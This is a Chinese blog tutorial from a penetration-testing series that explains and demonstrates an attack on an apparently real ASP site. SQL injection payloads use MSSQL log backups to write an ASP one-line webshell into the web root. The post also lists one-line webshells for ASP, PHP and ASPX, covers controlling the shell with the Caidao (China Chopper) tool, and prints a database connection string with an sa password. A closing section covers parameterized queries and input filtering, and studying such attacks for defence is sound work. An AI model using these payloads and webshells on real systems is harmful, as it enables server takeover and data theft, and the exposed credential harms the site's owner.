[滲透&攻防] 三.資料庫之差異備份及Caidao利器

Eastmount發表於2017-07-23

這是最近學習滲透和網站攻防的文章,前面文章從資料庫原理解讀了防止SQL隱碼攻擊、SQLMAP的基礎用法。這篇文章主要講解資料庫知識之差異備份及強大的利器Caidao。希望能深入地學習這部分知識,自己作為一個初學者,在慢慢探索網路攻防和滲透。同時,希望文章對你有所幫助,尤其是學習網路安全的初學者,錯誤或不足之處還請海涵~

    一.資料庫之差異備份
        1.差異備份
        2.手動上傳
    二.Caidao基礎用法
        1.檔案管理
        2.資料庫管理
        3.虛擬終端
    三.防禦措施
        1.引數化查詢
        2.基礎防禦措施
   
前文欣賞:
[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊
[滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法


推薦文章:
http://www.jianshu.com/p/f0797a485779
SQL引數化查詢 - zyw_anquan

一. 資料庫之差異備份

1.差異備份

資料備份主要分位完全備份、增量備份和差異備份。其中差異備份是指備份自上一次完全備份之後有變化的資料,在差異備份過程中,只備份有標記的那些選中的檔案和資料夾。它不清除標記,即備份後不標記為已備份檔案,不清除存檔屬性。

這裡的整體流程是先備份日誌,然後插入一句話Muma;再次備份時,資料庫只會備份兩次間隔中的差異,使得生成出來的檔案儘可能小,故稱為“差異備份”。

前面的文章獲取了資料庫的名稱:
    http://xxxxx/show.asp?code=-1' union all 
    select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 -- 
 
輸出結果如下所示:
    附件1:AYD
    附件2:Microsoft SQL Server....
    附件3:ahykd_new
其中MSSQL資料庫的名稱就是ahykd_new,接下來相同的道理獲取資料庫所有表及列。
同時獲取了登入名、密碼等,這裡不再介紹,下面詳細介紹差異備份。

(1) 修改資料庫設定為恢復模式
    http://xxxxx/show.asp?code=-1
    alter database ahykd_new set RECOVERY FULL --
完全恢復模式是預設的恢復模式。在完全恢復模式下,需要手工的對事務日誌進行管理,優點是可以恢復到資料庫失敗或者指定的時間點上。

(2) 備份當前資料庫日誌到檔案
    http://xxxxx/show.asp?code=-1
    backup log ahykd_new to disk='C:\windows\temp\temp0720' with init --
備份資料庫日誌到伺服器上,其中路徑表示伺服器的。
重點:路徑不能太顯眼,比如"C:\0720"這樣。

(3) 建立一張表和一個欄位
    http://xxxxx/show.asp?code=-1
    create table tt(a text)--

(4) 往表中插入一句話Muma
    http://xxxxx/show.asp?code=-1
    insert into tt(a) values('<%eval request("Shsh") %>') --
一句話Muma插入到資料庫tt表的a欄位中,執行接收自定義Shsh引數,類似於URL的Code引數,相當於是一個側門,第二部分Caidao會使用到。

asp:
   <%execute(request("value"))%>
php:
   <?php @eval($_POST[value]);?>
aspx:
   <%eval(Request.Item["value"])%>
(5) 再次備份日誌
    http://xxxxx/show.asp?code=-1
    backup log ahykd_new to disk='e:\NewsReport\index0.asp' --
再次備份日誌,備份路徑為網站伺服器路徑,重點是如何獲得這個路徑呢?在網站注入時,報錯提示通常會呈現相關檔案路徑。


(6) 刪除表
    http://xxxxx/show.asp?code=-1
    drop table tt --

此時,資料庫差異備份的漏洞已經弄好,後面介紹Caidao利器。


2.手動上傳
前面得到資料庫登入的使用者名稱和密碼後,就可以手動登入,然後找到上傳檔案地方。
index0.asp檔案程式碼為:<%eval request("Shsh") %>
然後利用Caidao利器可以進行拿站,問題是如何防禦這些漏洞,請看第三部分內容。



二. Caidao基礎用法

1.登入Caidao

首先關閉安全軟體及實時防護,如下圖所示。


Caidao軟體據說是一個桂林退役士兵寫的,真的很厲害。它是一款Webshell管理工具,支援各種語言,常見的包括ASP、ASPX、PHP、JSP、CFM等,後面希望自己也能深入研究攻防底層內容,開啟Caidao如下圖所示。


右鍵空白處,點選“新增”,在彈出介面填寫相關內容。


重點:Caidao的使用者名稱為上傳的檔案,即index_0.asp,注意路徑;密碼為一句話Muma中插入的引數Shsh,對應前文<%eval request("Shsh") %>,選擇ASP網站型別,點選“新增按鈕”。

如果漏洞被修復,Caidao也會有相應的提示,如下提示伺服器錯誤。



下面介紹它強大的三個功能檔案管理、資料庫管理和虛擬終端,右鍵URL如下。



PS:由於前面網站的漏洞已經修復了,網站攻防重點是從漏洞中找到防禦措施,但它也打亂了我前後文的關聯,但也是我Web防禦的初衷。下面有兩張圖片引用文章 Chopper詳細剖析,推薦大家閱讀,圖侵立刪。

2.檔案管理

網站檔案管理,顯示伺服器Webshell,遠端訪問服務顯示wwwroot如下圖所示。包括了常見的上傳、下載、編輯、刪除、複製重新命名及改變檔案時間戳等。


前面的差異備份,我們通過SQL語句在伺服器E盤上傳了一個index0.asp檔案。
backup log ahykd_new to disk='e:\NewsReport\index0.asp
可以在檔案管理找到該檔案,並下載到本地(因原網已修復,寫文前未截圖),可以通過Notepad++開啟,雖然亂碼很多,但可以搜尋看到 <%eval request("Shsh") %> 這句程式碼。
同時,備份伺服器該賬戶沒有寫入許可權,只能檢視網站的內容及程式碼等。


3.資料庫管理

Caidao支援各種資料庫,包括MYSQL、MSSQL、ORCALE、ACCESS等,資料庫管理主要是內建的管理資料庫模組,能夠實現資料庫的查詢語句、顯示錶名、列名。

前提:需要知道資料庫的配置資訊,可以從兩個方面獲得。
(1) 前面兩篇文章通過SQL語句已經查到了資料庫配置資訊,即:
     資料庫 使用者 密碼
     回顧:第一篇 手工SQL隱碼攻擊方法

http://xxxxx/show.asp?code=-1' union all 
select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --  
輸出結果如下所示:
    附件1:AYD
    附件2:Microsoft SQL Server....
    附件3:ahykd_new
其中資料庫的名稱就是ahykd_new,接下來相同的道理獲取資料庫所有表及列。
    回顧:第二篇 SQLMAP方法
    python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db
    python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords

    執行結果如下圖所示,獲取資料庫使用者和密碼。


(2) 檔案管理中可以找到config配置檔案,E盤index0.asp中即有,下載如下。
<add key="ConnectionString" 
     value="Data Source=(local);DataBase=ahykd_new;User Id=sa;Password=xbs660818"/>
即:資料庫ahykd_new,使用者名稱sa,密碼xbs660818。

Caidao中右鍵“資料庫管理”,在彈出的介面設定資料庫資訊,點選“提交”。


顯示資料庫如下所示:


同時可以在頂端下拉選單自定義SQL語句,點選“執行”獲取所需資訊。

4.虛擬終端

虛擬終端是模擬Windows下的CMD命令視窗,如果伺服器是Linux就是shell視窗。如下圖所示,常見命令:
    (1) whoami 檢視當前使用者的許可權;
    (2) net user 檢視當前計算機上的使用者;
    (3) net localgroup administrators 檢視當前計算機上管理員的使用者;
    (4) ipconfig 檢視計算機的網路卡ip等資訊,詳細資訊在後面加個 /all 檢視;
    (5) dir 檢視當前目錄的檔案,後加個路徑可檢視目標資料夾的檔案 dir c: \;


更多的用法需要讀者進一步取研究學習,包括原理知識。同時,難點是如何取找到漏洞、防禦漏洞,SQL隱碼攻擊現在已經有很多好的防禦措施了,第三部分接著介紹。



三. 防禦措施

1.引數化查詢

推薦閱讀《SQL隱碼攻擊與防禦 第2版》作者:Justin Clarke。
PS:這部分參考網上,你可能也返現了這些列文字主要是攻擊,防禦是讓它變白,後面幾個月深入研究後會結合實際詳細講解,但還是推薦上面那本書。

引數化查詢(Parameterized Query 或 Parameterized Statement)是指在設計與資料庫連結並訪問資料時,在需要填入數值或資料的地方,使用引數 (Parameter) 來給值,這個方法目前已被視為最有效可預防SQL隱碼攻擊 (SQL Injection) 的攻擊手法的防禦方式。

有部份的開發人員可能會認為使用引數化查詢,會讓程式更不好維護,或者在實現部份功能上會非常不便,然而,使用引數化查詢造成的額外開發成本,通常都遠低於因為SQL隱碼攻擊漏洞被發現而遭受攻擊,所造成的重大損失。

原理:在使用引數化查詢的情況下,資料庫伺服器不會將引數的內容視為SQL指令的一部份來處理,而是在資料庫完成 SQL 指令的編譯後,才套用引數執行,因此就算引數中含有具有損的指令,也不會被資料庫所執行。

下面一段引用大神 何靜媛 的部落格,強推大家閱讀她的部落格。 
引數化查詢就是我們寫好需要的引數,然後直接給引數賦值,這就好比是一個sql的框架。sql查詢的時候會進行引數分析,如果分析的結果是我們曾使用過這樣的框架,那麼sql會重用查詢計劃,否則會重新生成一個查詢計劃,當然此時的sql的語義肯定是發生了變化,這時我們就可以很好的防止注入的發生。例如:


如上的程式碼就是使用引數化的查詢語句,嘗試輸入注入字元無結果。

在撰寫 SQL 指令時,利用引數來代表需要填入的數值,例如:
    (1) Microsoft SQL Server
         Microsoft SQL Server 的引數格式是以 "@" 字元加上引數名稱而成,SQL Server 亦支援匿名引數 "?"。

SELECT * FROM myTable WHERE myID = @myID
INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)
    (2) MySQL
         MySQL的引數格式是以 "?" 字元加上引數名稱而成。

UPDATE myTable SET c1 = ?c1, c2 = ?c2, c3 = ?c3 WHERE c4 = ?c4
    (3) Oracle
         Oracle 的引數格式是以 ":" 字元加上引數名稱而成。

UPDATE myTable SET c1 = :c1, c2 = :c2, c3 = :c3 WHERE c4 = :c4
    (4) PostgreSQL
         PostgreSQL 的引數格式是以 "$" 字元加上引數順序號而成。

UPDATE myTable SET c1 = $1, c2 = $2, c3 = $3 WHERE c4 = $4


2.基礎防禦措施

參考前文,個人理解的防禦措施:

    1.在URL設定不允許非法字元,如單引號、等號、註釋--、減號,提示非法引數;
    2.在URL設定不允許SQL常見的關鍵詞,如and、select、or、insert等;
    3.傳遞的id=115引數必須為數字才能正常跳轉,否則跳轉錯誤;
    4.伺服器啟用SQL隱碼攻擊攔截功能,提示當前網頁的 URL / POST / COOKIES中包含了特定的 SQL字元而被防火牆攔截,因為可能通過POST、Cookies進行攻擊,各方面都需要做到防禦。
    5.可以使用JS在客戶端進行不安全字元遮蔽,也可以在jsp中呼叫該函式檢查是否包函非法字元,或使用正規表示式過濾傳入的引數,防止SQL從URL注入。


希望文章對你有所幫助,尤其是網路安全的程式設計師,因為系列文章是和前文息息相關的,所以看著有些凌亂。如果文章存在錯誤或不足之處,還請海涵。感謝娜師傅的一路陪伴,來娜娜家玩深夜都還在寫文,我也是很醉啊!
不忘初心,繼續前行。加油,秀璋。綠妖,晚安!
(By:Eastmount 2017-07-23 凌晨1點  http://blog.csdn.net/eastmount/ )


相關文章